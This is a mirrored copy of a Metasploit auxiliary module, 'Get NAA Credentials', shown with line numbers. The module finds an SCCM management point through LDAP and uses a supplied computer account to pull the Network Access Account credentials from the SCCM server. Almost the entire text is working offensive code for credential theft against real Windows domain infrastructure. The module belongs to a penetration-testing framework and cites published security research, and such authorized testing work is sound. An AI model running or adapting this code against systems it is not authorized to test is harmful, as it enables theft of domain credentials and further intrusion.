Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/sccm/get_naa_credentials.rb
32948 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
class MetasploitModule < Msf::Auxiliary
6
include ::Msf::Exploit::Remote::HTTP::SCCM
7
include Msf::Exploit::Remote::LDAP
8
include Msf::OptionalSession::LDAP
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Get NAA Credentials',
15
'Description' => %q{
16
This module attempts to retrieve the Network Access Account(s), if configured, from the SCCM server.
17
This requires a computer account, which can be added using the samr_account module.
18
},
19
'Author' => [
20
'xpn', # Initial research
21
'skelsec', # Initial obfuscation port
22
'smashery' # module author
23
],
24
'References' => [
25
['URL', 'https://blog.xpnsec.com/unobfuscating-network-access-accounts/'],
26
['URL', 'https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-2/cred-2_description.md'],
27
['URL', 'https://github.com/Mayyhem/SharpSCCM'],
28
['URL', 'https://github.com/garrettfoster13/sccmhunter'],
29
['ATT&CK', Mitre::Attack::Technique::T1552_001_CREDENTIALS_IN_FILES]
30
],
31
'License' => MSF_LICENSE,
32
'Notes' => {
33
'Stability' => [],
34
'SideEffects' => [CONFIG_CHANGES],
35
'Reliability' => []
36
}
37
)
38
)
39
40
register_options([
41
OptAddressRange.new('RHOSTS', [ false, 'The domain controller (for autodiscovery). Not required if providing a management point and site code' ]),
42
OptPort.new('RPORT', [ false, 'The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code', 389 ]),
43
OptString.new('COMPUTER_USER', [ true, 'The username of a computer account' ]),
44
OptString.new('COMPUTER_PASS', [ true, 'The password of the provided computer account' ]),
45
OptString.new('MANAGEMENT_POINT', [ false, 'The management point (SCCM server) to use' ]),
46
OptString.new('SITE_CODE', [ false, 'The site code to use on the management point' ]),
47
OptString.new('DOMAIN', [ true, 'The domain to authenticate to', '' ])
48
])
49
50
deregister_options('LDAPDomain') # deregister LDAPDomain because DOMAIN is registered and used for both LDAP and HTTP
51
52
@session_or_rhost_required = false
53
end
54
55
def find_management_point
56
ldap_connect do |ldap|
57
validate_bind_success!(ldap)
58
59
if (@base_dn = datastore['BASE_DN'])
60
print_status("User-specified base DN: #{@base_dn}")
61
else
62
print_status('Discovering base DN automatically')
63
64
if (@base_dn = ldap.base_dn)
65
print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")
66
else
67
fail_with(Msf::Module::Failure::UnexpectedReply, "Couldn't discover base DN!")
68
end
69
end
70
raw_objects = ldap.search(base: @base_dn, filter: '(objectclass=mssmsmanagementpoint)', attributes: ['*'])
71
return nil unless raw_objects.any?
72
73
raw_obj = raw_objects.first
74
75
raw_objects.each do |ro|
76
print_good("Found Management Point: #{ro[:dnshostname].first} (Site code: #{ro[:mssmssitecode].first})")
77
end
78
79
if raw_objects.length > 1
80
print_warning("Found more than one Management Point. Using the first (#{raw_obj[:dnshostname].first})")
81
end
82
83
obj = {}
84
obj[:rhost] = raw_obj[:dnshostname].first
85
obj[:sitecode] = raw_obj[:mssmssitecode].first
86
87
obj
88
rescue Errno::ECONNRESET
89
fail_with(Msf::Module::Failure::Disconnected, 'The connection was reset.')
90
rescue Rex::ConnectionError => e
91
fail_with(Msf::Module::Failure::Unreachable, e.message)
92
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
93
fail_with(Msf::Module::Failure::NoAccess, e.message)
94
rescue Net::LDAP::Error => e
95
fail_with(Msf::Module::Failure::Unknown, "#{e.class}: #{e.message}")
96
end
97
end
98
99
def run
100
management_point = datastore['MANAGEMENT_POINT']
101
site_code = datastore['SITE_CODE']
102
if management_point.blank? != site_code.blank?
103
fail_with(Failure::BadConfig, 'Provide both MANAGEMENT_POINT and SITE_CODE, or neither (to perform autodiscovery)')
104
end
105
106
if management_point.blank?
107
begin
108
result = find_management_point
109
fail_with(Failure::NotFound, 'Failed to find management point') unless result
110
management_point = result[:rhost]
111
site_code = result[:site_code]
112
rescue ::IOError => e
113
fail_with(Failure::UnexpectedReply, e.message)
114
end
115
end
116
117
opts = {
118
'username' => datastore['COMPUTER_USER'],
119
'password' => datastore['COMPUTER_PASS']
120
}
121
computer_user = datastore['COMPUTER_USER'].delete_suffix('$')
122
get_naa_credentials(opts, management_point, site_code, computer_user)
123
end
124
end
125
126